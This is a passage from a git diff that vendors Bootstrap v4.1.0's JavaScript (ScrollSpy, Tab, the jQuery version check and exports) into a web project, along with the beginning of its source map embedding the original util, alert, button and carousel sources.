------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var ScrollSpy = + /*#__PURE__*/ + function () { + function ScrollSpy(element, config) { + var _this = this; + + this._element = element; + this._scrollElement = element.tagName === 'BODY' ? window : element; + this._config = this._getConfig(config); + this._selector = this._config.target + " " + Selector.NAV_LINKS + "," + (this._config.target + " " + Selector.LIST_ITEMS + ",") + (this._config.target + " " + Selector.DROPDOWN_ITEMS); + this._offsets = []; + this._targets = []; + this._activeTarget = null; + this._scrollHeight = 0; + $$$1(this._scrollElement).on(Event.SCROLL, function (event) { + return _this._process(event); + }); + this.refresh(); + + this._process(); + } // Getters + + + var _proto = ScrollSpy.prototype; + + // Public + _proto.refresh = function refresh() { + var _this2 = this; + + var autoMethod = this._scrollElement === this._scrollElement.window ? OffsetMethod.OFFSET : OffsetMethod.POSITION; + var offsetMethod = this._config.method === 'auto' ? autoMethod : this._config.method; + var offsetBase = offsetMethod === OffsetMethod.POSITION ? this._getScrollTop() : 0; + this._offsets = []; + this._targets = []; + this._scrollHeight = this._getScrollHeight(); + var targets = $$$1.makeArray($$$1(this._selector)); + targets.map(function (element) { + var target; + var targetSelector = Util.getSelectorFromElement(element); + + if (targetSelector) { + target = $$$1(targetSelector)[0]; + } + + if (target) { + var targetBCR = target.getBoundingClientRect(); + + if (targetBCR.width || targetBCR.height) { + // TODO (fat): remove sketch reliance on jQuery position/offset + return [$$$1(target)[offsetMethod]().top + offsetBase, targetSelector]; + } + } + + return null; + }).filter(function (item) { + return item; + }).sort(function (a, b) { + return a[0] - b[0]; + }).forEach(function (item) { + _this2._offsets.push(item[0]); + + _this2._targets.push(item[1]); + }); + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + $$$1(this._scrollElement).off(EVENT_KEY); + this._element = null; + this._scrollElement = null; + this._config = null; + this._selector = null; + this._offsets = null; + this._targets = null; + this._activeTarget = null; + this._scrollHeight = null; + }; // Private + + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, Default, config); + + if (typeof config.target !== 'string') { + var id = $$$1(config.target).attr('id'); + + if (!id) { + id = Util.getUID(NAME); + $$$1(config.target).attr('id', id); + } + + config.target = "#" + id; + } + + Util.typeCheckConfig(NAME, config, DefaultType); + return config; + }; + + _proto._getScrollTop = function _getScrollTop() { + return this._scrollElement === window ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop; + }; + + _proto._getScrollHeight = function _getScrollHeight() { + return this._scrollElement.scrollHeight || Math.max(document.body.scrollHeight, document.documentElement.scrollHeight); + }; + + _proto._getOffsetHeight = function _getOffsetHeight() { + return this._scrollElement === window ? window.innerHeight : this._scrollElement.getBoundingClientRect().height; + }; + + _proto._process = function _process() { + var scrollTop = this._getScrollTop() + this._config.offset; + + var scrollHeight = this._getScrollHeight(); + + var maxScroll = this._config.offset + scrollHeight - this._getOffsetHeight(); + + if (this._scrollHeight !== scrollHeight) { + this.refresh(); + } + + if (scrollTop >= maxScroll) { + var target = this._targets[this._targets.length - 1]; + + if (this._activeTarget !== target) { + this._activate(target); + } + + return; + } + + if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) { + this._activeTarget = null; + + this._clear(); + + return; + } + + for (var i = this._offsets.length; i--;) { + var isActiveTarget = this._activeTarget !== this._targets[i] && scrollTop >= this._offsets[i] && (typeof this._offsets[i + 1] === 'undefined' || scrollTop < this._offsets[i + 1]); + + if (isActiveTarget) { + this._activate(this._targets[i]); + } + } + }; + + _proto._activate = function _activate(target) { + this._activeTarget = target; + + this._clear(); + + var queries = this._selector.split(','); // eslint-disable-next-line arrow-body-style + + + queries = queries.map(function (selector) { + return selector + "[data-target=\"" + target + "\"]," + (selector + "[href=\"" + target + "\"]"); + }); + var $link = $$$1(queries.join(',')); + + if ($link.hasClass(ClassName.DROPDOWN_ITEM)) { + $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE); + $link.addClass(ClassName.ACTIVE); + } else { + // Set triggered link as active + $link.addClass(ClassName.ACTIVE); // Set triggered links parents as active + // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor + + $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_LINKS + ", " + Selector.LIST_ITEMS).addClass(ClassName.ACTIVE); // Handle special case when .nav-link is inside .nav-item + + $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE); + } + + $$$1(this._scrollElement).trigger(Event.ACTIVATE, { + relatedTarget: target + }); + }; + + _proto._clear = function _clear() { + $$$1(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE); + }; // Static + + + ScrollSpy._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var data = $$$1(this).data(DATA_KEY); + + var _config = typeof config === 'object' && config; + + if (!data) { + data = new ScrollSpy(this, _config); + $$$1(this).data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(ScrollSpy, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }, { + key: "Default", + get: function get() { + return Default; + } + }]); + + return ScrollSpy; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(window).on(Event.LOAD_DATA_API, function () { + var scrollSpys = $$$1.makeArray($$$1(Selector.DATA_SPY)); + + for (var i = scrollSpys.length; i--;) { + var $spy = $$$1(scrollSpys[i]); + + ScrollSpy._jQueryInterface.call($spy, $spy.data()); + } + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = ScrollSpy._jQueryInterface; + $$$1.fn[NAME].Constructor = ScrollSpy; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return ScrollSpy._jQueryInterface; + }; + + return ScrollSpy; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): tab.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Tab = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'tab'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.tab'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + DROPDOWN_MENU: 'dropdown-menu', + ACTIVE: 'active', + DISABLED: 'disabled', + FADE: 'fade', + SHOW: 'show' + }; + var Selector = { + DROPDOWN: '.dropdown', + NAV_LIST_GROUP: '.nav, .list-group', + ACTIVE: '.active', + ACTIVE_UL: '> li > .active', + DATA_TOGGLE: '[data-toggle="tab"], [data-toggle="pill"], [data-toggle="list"]', + DROPDOWN_TOGGLE: '.dropdown-toggle', + DROPDOWN_ACTIVE_CHILD: '> .dropdown-menu .active' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Tab = + /*#__PURE__*/ + function () { + function Tab(element) { + this._element = element; + } // Getters + + + var _proto = Tab.prototype; + + // Public + _proto.show = function show() { + var _this = this; + + if (this._element.parentNode && this._element.parentNode.nodeType === Node.ELEMENT_NODE && $$$1(this._element).hasClass(ClassName.ACTIVE) || $$$1(this._element).hasClass(ClassName.DISABLED)) { + return; + } + + var target; + var previous; + var listElement = $$$1(this._element).closest(Selector.NAV_LIST_GROUP)[0]; + var selector = Util.getSelectorFromElement(this._element); + + if (listElement) { + var itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE; + previous = $$$1.makeArray($$$1(listElement).find(itemSelector)); + previous = previous[previous.length - 1]; + } + + var hideEvent = $$$1.Event(Event.HIDE, { + relatedTarget: this._element + }); + var showEvent = $$$1.Event(Event.SHOW, { + relatedTarget: previous + }); + + if (previous) { + $$$1(previous).trigger(hideEvent); + } + + $$$1(this._element).trigger(showEvent); + + if (showEvent.isDefaultPrevented() || hideEvent.isDefaultPrevented()) { + return; + } + + if (selector) { + target = $$$1(selector)[0]; + } + + this._activate(this._element, listElement); + + var complete = function complete() { + var hiddenEvent = $$$1.Event(Event.HIDDEN, { + relatedTarget: _this._element + }); + var shownEvent = $$$1.Event(Event.SHOWN, { + relatedTarget: previous + }); + $$$1(previous).trigger(hiddenEvent); + $$$1(_this._element).trigger(shownEvent); + }; + + if (target) { + this._activate(target, target.parentNode, complete); + } else { + complete(); + } + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + this._element = null; + }; // Private + + + _proto._activate = function _activate(element, container, callback) { + var _this2 = this; + + var activeElements; + + if (container.nodeName === 'UL') { + activeElements = $$$1(container).find(Selector.ACTIVE_UL); + } else { + activeElements = $$$1(container).children(Selector.ACTIVE); + } + + var active = activeElements[0]; + var isTransitioning = callback && active && $$$1(active).hasClass(ClassName.FADE); + + var complete = function complete() { + return _this2._transitionComplete(element, active, callback); + }; + + if (active && isTransitioning) { + var transitionDuration = Util.getTransitionDurationFromElement(active); + $$$1(active).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration); + } else { + complete(); + } + }; + + _proto._transitionComplete = function _transitionComplete(element, active, callback) { + if (active) { + $$$1(active).removeClass(ClassName.SHOW + " " + ClassName.ACTIVE); + var dropdownChild = $$$1(active.parentNode).find(Selector.DROPDOWN_ACTIVE_CHILD)[0]; + + if (dropdownChild) { + $$$1(dropdownChild).removeClass(ClassName.ACTIVE); + } + + if (active.getAttribute('role') === 'tab') { + active.setAttribute('aria-selected', false); + } + } + + $$$1(element).addClass(ClassName.ACTIVE); + + if (element.getAttribute('role') === 'tab') { + element.setAttribute('aria-selected', true); + } + + Util.reflow(element); + $$$1(element).addClass(ClassName.SHOW); + + if (element.parentNode && $$$1(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) { + var dropdownElement = $$$1(element).closest(Selector.DROPDOWN)[0]; + + if (dropdownElement) { + $$$1(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE); + } + + element.setAttribute('aria-expanded', true); + } + + if (callback) { + callback(); + } + }; // Static + + + Tab._jQueryInterface = function _jQueryInterface(config) { + return this.each(function () { + var $this = $$$1(this); + var data = $this.data(DATA_KEY); + + if (!data) { + data = new Tab(this); + $this.data(DATA_KEY, data); + } + + if (typeof config === 'string') { + if (typeof data[config] === 'undefined') { + throw new TypeError("No method named \"" + config + "\""); + } + + data[config](); + } + }); + }; + + _createClass(Tab, null, [{ + key: "VERSION", + get: function get() { + return VERSION; + } + }]); + + return Tab; + }(); + /** + * ------------------------------------------------------------------------ + * Data Api implementation + * ------------------------------------------------------------------------ + */ + + + $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) { + event.preventDefault(); + + Tab._jQueryInterface.call($$$1(this), 'show'); + }); + /** + * ------------------------------------------------------------------------ + * jQuery + * ------------------------------------------------------------------------ + */ + + $$$1.fn[NAME] = Tab._jQueryInterface; + $$$1.fn[NAME].Constructor = Tab; + + $$$1.fn[NAME].noConflict = function () { + $$$1.fn[NAME] = JQUERY_NO_CONFLICT; + return Tab._jQueryInterface; + }; + + return Tab; + }($); + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.0.0): index.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + (function ($$$1) { + if (typeof $$$1 === 'undefined') { + throw new TypeError('Bootstrap\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\'s JavaScript.'); + } + + var version = $$$1.fn.jquery.split(' ')[0].split('.'); + var minMajor = 1; + var ltMajor = 2; + var minMinor = 9; + var minPatch = 1; + var maxMajor = 4; + + if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) { + throw new Error('Bootstrap\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0'); + } + })($); + + exports.Util = Util; + exports.Alert = Alert; + exports.Button = Button; + exports.Carousel = Carousel; + exports.Collapse = Collapse; + exports.Dropdown = Dropdown; + exports.Modal = Modal; + exports.Popover = Popover; + exports.Scrollspy = ScrollSpy; + exports.Tab = Tab; + exports.Tooltip = Tooltip; + + Object.defineProperty(exports, '__esModule', { value: true }); + +}))); +//# sourceMappingURL=bootstrap.js.map diff --git a/public/js/bootstrap.js.map b/public/js/bootstrap.js.map new file mode 100644 index 0000000..7b50f7d --- /dev/null +++ b/public/js/bootstrap.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bootstrap.js","sources":["../../rollupPluginBabelHelpers","../../js/src/util.js","../../js/src/alert.js","../../js/src/button.js","../../js/src/carousel.js","../../js/src/collapse.js","../../js/src/dropdown.js","../../js/src/modal.js","../../js/src/tooltip.js","../../js/src/popover.js","../../js/src/scrollspy.js","../../js/src/tab.js","../../js/src/index.js"],"sourcesContent":["export { _createClass as createClass, _defineProperty as defineProperty, _objectSpread as objectSpread, _inheritsLoose as inheritsLoose };\n\nfunction _defineProperties(target, props) {\n for (var i = 0; i < props.length; i++) {\n var descriptor = props[i];\n descriptor.enumerable = descriptor.enumerable || false;\n descriptor.configurable = true;\n if (\"value\" in descriptor) descriptor.writable = true;\n Object.defineProperty(target, descriptor.key, descriptor);\n }\n}\n\nfunction _createClass(Constructor, protoProps, staticProps) {\n if (protoProps) _defineProperties(Constructor.prototype, protoProps);\n if (staticProps) _defineProperties(Constructor, staticProps);\n return Constructor;\n}\n\nfunction _defineProperty(obj, key, value) {\n if (key in obj) {\n Object.defineProperty(obj, key, {\n value: value,\n enumerable: true,\n configurable: true,\n writable: true\n });\n } else {\n obj[key] = value;\n }\n\n return obj;\n}\n\nfunction _objectSpread(target) {\n for (var i = 1; i < arguments.length; i++) {\n var source = arguments[i] != null ? arguments[i] : {};\n var ownKeys = Object.keys(source);\n\n if (typeof Object.getOwnPropertySymbols === 'function') {\n ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) {\n return Object.getOwnPropertyDescriptor(source, sym).enumerable;\n }));\n }\n\n ownKeys.forEach(function (key) {\n _defineProperty(target, key, source[key]);\n });\n }\n\n return target;\n}\n\nfunction _inheritsLoose(subClass, superClass) {\n subClass.prototype = Object.create(superClass.prototype);\n subClass.prototype.constructor = subClass;\n subClass.__proto__ = superClass;\n}","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): util.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Util = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Private TransitionEnd Helpers\n * ------------------------------------------------------------------------\n */\n\n const TRANSITION_END = 'transitionend'\n const MAX_UID = 1000000\n const MILLISECONDS_MULTIPLIER = 1000\n\n // Shoutout AngusCroll (https://goo.gl/pxwQGp)\n function toType(obj) {\n return {}.toString.call(obj).match(/\\s([a-z]+)/i)[1].toLowerCase()\n }\n\n function getSpecialTransitionEndEvent() {\n return {\n bindType: TRANSITION_END,\n delegateType: TRANSITION_END,\n handle(event) {\n if ($(event.target).is(this)) {\n return event.handleObj.handler.apply(this, arguments) // eslint-disable-line prefer-rest-params\n }\n return undefined // eslint-disable-line no-undefined\n }\n }\n }\n\n function transitionEndEmulator(duration) {\n let called = false\n\n $(this).one(Util.TRANSITION_END, () => {\n called = true\n })\n\n setTimeout(() => {\n if (!called) {\n Util.triggerTransitionEnd(this)\n }\n }, duration)\n\n return this\n }\n\n function setTransitionEndSupport() {\n $.fn.emulateTransitionEnd = transitionEndEmulator\n $.event.special[Util.TRANSITION_END] = getSpecialTransitionEndEvent()\n }\n\n /**\n * --------------------------------------------------------------------------\n * Public Util Api\n * --------------------------------------------------------------------------\n */\n\n const Util = {\n\n TRANSITION_END: 'bsTransitionEnd',\n\n getUID(prefix) {\n do {\n // eslint-disable-next-line no-bitwise\n prefix += ~~(Math.random() * MAX_UID) // \"~~\" acts like a faster Math.floor() here\n } while (document.getElementById(prefix))\n return prefix\n },\n\n getSelectorFromElement(element) {\n let selector = element.getAttribute('data-target')\n if (!selector || selector === '#') {\n selector = element.getAttribute('href') || ''\n }\n\n try {\n const $selector = $(document).find(selector)\n return $selector.length > 0 ? selector : null\n } catch (err) {\n return null\n }\n },\n\n getTransitionDurationFromElement(element) {\n if (!element) {\n return 0\n }\n\n // Get transition-duration of the element\n let transitionDuration = $(element).css('transition-duration')\n const floatTransitionDuration = parseFloat(transitionDuration)\n\n // Return 0 if element or transition duration is not found\n if (!floatTransitionDuration) {\n return 0\n }\n\n // If multiple durations are defined, take the first\n transitionDuration = transitionDuration.split(',')[0]\n\n return parseFloat(transitionDuration) * MILLISECONDS_MULTIPLIER\n },\n\n reflow(element) {\n return element.offsetHeight\n },\n\n triggerTransitionEnd(element) {\n $(element).trigger(TRANSITION_END)\n },\n\n // TODO: Remove in v5\n supportsTransitionEnd() {\n return Boolean(TRANSITION_END)\n },\n\n isElement(obj) {\n return (obj[0] || obj).nodeType\n },\n\n typeCheckConfig(componentName, config, configTypes) {\n for (const property in configTypes) {\n if (Object.prototype.hasOwnProperty.call(configTypes, property)) {\n const expectedTypes = configTypes[property]\n const value = config[property]\n const valueType = value && Util.isElement(value)\n ? 'element' : toType(value)\n\n if (!new RegExp(expectedTypes).test(valueType)) {\n throw new Error(\n `${componentName.toUpperCase()}: ` +\n `Option \"${property}\" provided type \"${valueType}\" ` +\n `but expected type \"${expectedTypes}\".`)\n }\n }\n }\n }\n }\n\n setTransitionEndSupport()\n\n return Util\n})($)\n\nexport default Util\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Alert = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'alert'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.alert'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Selector = {\n DISMISS : '[data-dismiss=\"alert\"]'\n }\n\n const Event = {\n CLOSE : `close${EVENT_KEY}`,\n CLOSED : `closed${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n ALERT : 'alert',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Alert {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n close(element) {\n element = element || this._element\n\n const rootElement = this._getRootElement(element)\n const customEvent = this._triggerCloseEvent(rootElement)\n\n if (customEvent.isDefaultPrevented()) {\n return\n }\n\n this._removeElement(rootElement)\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Private\n\n _getRootElement(element) {\n const selector = Util.getSelectorFromElement(element)\n let parent = false\n\n if (selector) {\n parent = $(selector)[0]\n }\n\n if (!parent) {\n parent = $(element).closest(`.${ClassName.ALERT}`)[0]\n }\n\n return parent\n }\n\n _triggerCloseEvent(element) {\n const closeEvent = $.Event(Event.CLOSE)\n\n $(element).trigger(closeEvent)\n return closeEvent\n }\n\n _removeElement(element) {\n $(element).removeClass(ClassName.SHOW)\n\n if (!$(element).hasClass(ClassName.FADE)) {\n this._destroyElement(element)\n return\n }\n\n const transitionDuration = Util.getTransitionDurationFromElement(element)\n\n $(element)\n .one(Util.TRANSITION_END, (event) => this._destroyElement(element, event))\n .emulateTransitionEnd(transitionDuration)\n }\n\n _destroyElement(element) {\n $(element)\n .detach()\n .trigger(Event.CLOSED)\n .remove()\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $element = $(this)\n let data = $element.data(DATA_KEY)\n\n if (!data) {\n data = new Alert(this)\n $element.data(DATA_KEY, data)\n }\n\n if (config === 'close') {\n data[config](this)\n }\n })\n }\n\n static _handleDismiss(alertInstance) {\n return function (event) {\n if (event) {\n event.preventDefault()\n }\n\n alertInstance.close(this)\n }\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(\n Event.CLICK_DATA_API,\n Selector.DISMISS,\n Alert._handleDismiss(new Alert())\n )\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Alert._jQueryInterface\n $.fn[NAME].Constructor = Alert\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Alert._jQueryInterface\n }\n\n return Alert\n})($)\n\nexport default Alert\n","import $ from 'jquery'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Button = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'button'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.button'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const ClassName = {\n ACTIVE : 'active',\n BUTTON : 'btn',\n FOCUS : 'focus'\n }\n\n const Selector = {\n DATA_TOGGLE_CARROT : '[data-toggle^=\"button\"]',\n DATA_TOGGLE : '[data-toggle=\"buttons\"]',\n INPUT : 'input',\n ACTIVE : '.active',\n BUTTON : '.btn'\n }\n\n const Event = {\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`,\n FOCUS_BLUR_DATA_API : `focus${EVENT_KEY}${DATA_API_KEY} ` +\n `blur${EVENT_KEY}${DATA_API_KEY}`\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Button {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n toggle() {\n let triggerChangeEvent = true\n let addAriaPressed = true\n const rootElement = $(this._element).closest(\n Selector.DATA_TOGGLE\n )[0]\n\n if (rootElement) {\n const input = $(this._element).find(Selector.INPUT)[0]\n\n if (input) {\n if (input.type === 'radio') {\n if (input.checked &&\n $(this._element).hasClass(ClassName.ACTIVE)) {\n triggerChangeEvent = false\n } else {\n const activeElement = $(rootElement).find(Selector.ACTIVE)[0]\n\n if (activeElement) {\n $(activeElement).removeClass(ClassName.ACTIVE)\n }\n }\n }\n\n if (triggerChangeEvent) {\n if (input.hasAttribute('disabled') ||\n rootElement.hasAttribute('disabled') ||\n input.classList.contains('disabled') ||\n rootElement.classList.contains('disabled')) {\n return\n }\n input.checked = !$(this._element).hasClass(ClassName.ACTIVE)\n $(input).trigger('change')\n }\n\n input.focus()\n addAriaPressed = false\n }\n }\n\n if (addAriaPressed) {\n this._element.setAttribute('aria-pressed',\n !$(this._element).hasClass(ClassName.ACTIVE))\n }\n\n if (triggerChangeEvent) {\n $(this._element).toggleClass(ClassName.ACTIVE)\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n\n if (!data) {\n data = new Button(this)\n $(this).data(DATA_KEY, data)\n }\n\n if (config === 'toggle') {\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n event.preventDefault()\n\n let button = event.target\n\n if (!$(button).hasClass(ClassName.BUTTON)) {\n button = $(button).closest(Selector.BUTTON)\n }\n\n Button._jQueryInterface.call($(button), 'toggle')\n })\n .on(Event.FOCUS_BLUR_DATA_API, Selector.DATA_TOGGLE_CARROT, (event) => {\n const button = $(event.target).closest(Selector.BUTTON)[0]\n $(button).toggleClass(ClassName.FOCUS, /^focus(in)?$/.test(event.type))\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Button._jQueryInterface\n $.fn[NAME].Constructor = Button\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Button._jQueryInterface\n }\n\n return Button\n})($)\n\nexport default Button\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Carousel = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'carousel'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.carousel'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ARROW_LEFT_KEYCODE = 37 // KeyboardEvent.which value for left arrow key\n const ARROW_RIGHT_KEYCODE = 39 // KeyboardEvent.which value for right arrow key\n const TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\n\n const Default = {\n interval : 5000,\n keyboard : true,\n slide : false,\n pause : 'hover',\n wrap : true\n }\n\n const DefaultType = {\n interval : '(number|boolean)',\n keyboard : 'boolean',\n slide : '(boolean|string)',\n pause : '(string|boolean)',\n wrap : 'boolean'\n }\n\n const Direction = {\n NEXT : 'next',\n PREV : 'prev',\n LEFT : 'left',\n RIGHT : 'right'\n }\n\n const Event = {\n SLIDE : `slide${EVENT_KEY}`,\n SLID : `slid${EVENT_KEY}`,\n KEYDOWN : `keydown${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`,\n TOUCHEND : `touchend${EVENT_KEY}`,\n LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n CAROUSEL : 'carousel',\n ACTIVE : 'active',\n SLIDE : 'slide',\n RIGHT : 'carousel-item-right',\n LEFT : 'carousel-item-left',\n NEXT : 'carousel-item-next',\n PREV : 'carousel-item-prev',\n ITEM : 'carousel-item'\n }\n\n const Selector = {\n ACTIVE : '.active',\n ACTIVE_ITEM : '.active.carousel-item',\n ITEM : '.carousel-item',\n NEXT_PREV : '.carousel-item-next, .carousel-item-prev',\n INDICATORS : '.carousel-indicators',\n DATA_SLIDE : '[data-slide], [data-slide-to]',\n DATA_RIDE : '[data-ride=\"carousel\"]'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Carousel {\n constructor(element, config) {\n this._items = null\n this._interval = null\n this._activeElement = null\n\n this._isPaused = false\n this._isSliding = false\n\n this.touchTimeout = null\n\n this._config = this._getConfig(config)\n this._element = $(element)[0]\n this._indicatorsElement = $(this._element).find(Selector.INDICATORS)[0]\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n next() {\n if (!this._isSliding) {\n this._slide(Direction.NEXT)\n }\n }\n\n nextWhenVisible() {\n // Don't call next when the page isn't visible\n // or the carousel or its parent isn't visible\n if (!document.hidden &&\n ($(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden')) {\n this.next()\n }\n }\n\n prev() {\n if (!this._isSliding) {\n this._slide(Direction.PREV)\n }\n }\n\n pause(event) {\n if (!event) {\n this._isPaused = true\n }\n\n if ($(this._element).find(Selector.NEXT_PREV)[0]) {\n Util.triggerTransitionEnd(this._element)\n this.cycle(true)\n }\n\n clearInterval(this._interval)\n this._interval = null\n }\n\n cycle(event) {\n if (!event) {\n this._isPaused = false\n }\n\n if (this._interval) {\n clearInterval(this._interval)\n this._interval = null\n }\n\n if (this._config.interval && !this._isPaused) {\n this._interval = setInterval(\n (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n this._config.interval\n )\n }\n }\n\n to(index) {\n this._activeElement = $(this._element).find(Selector.ACTIVE_ITEM)[0]\n\n const activeIndex = this._getItemIndex(this._activeElement)\n\n if (index > this._items.length - 1 || index < 0) {\n return\n }\n\n if (this._isSliding) {\n $(this._element).one(Event.SLID, () => this.to(index))\n return\n }\n\n if (activeIndex === index) {\n this.pause()\n this.cycle()\n return\n }\n\n const direction = index > activeIndex\n ? Direction.NEXT\n : Direction.PREV\n\n this._slide(direction, this._items[index])\n }\n\n dispose() {\n $(this._element).off(EVENT_KEY)\n $.removeData(this._element, DATA_KEY)\n\n this._items = null\n this._config = null\n this._element = null\n this._interval = null\n this._isPaused = null\n this._isSliding = null\n this._activeElement = null\n this._indicatorsElement = null\n }\n\n // Private\n\n _getConfig(config) {\n config = 